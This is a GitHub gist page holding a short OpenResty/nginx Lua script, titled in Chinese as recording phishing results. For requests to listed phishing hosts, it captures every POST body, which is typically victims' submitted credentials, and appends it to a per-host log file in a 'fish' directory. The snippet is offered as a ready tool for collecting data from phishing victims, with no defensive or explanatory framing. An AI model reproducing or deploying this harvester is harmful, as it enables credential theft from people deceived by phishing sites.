Created
May 31, 2015 13:50
-
-
Save phith0n/ff26eccc1a4f6da05972 to your computer and use it in GitHub Desktop.
lua记录钓鱼结果
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
local method=ngx.req.get_method() | |
if in_array(ngx.var.host, valid_host) then | |
if method == "POST" then | |
ngx.req.read_body() | |
local data = ngx.req.get_body_data() | |
writefile("/home/wwwroot/fish/"..ngx.var.host..".txt", data .. "\n") | |
end | |
end |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment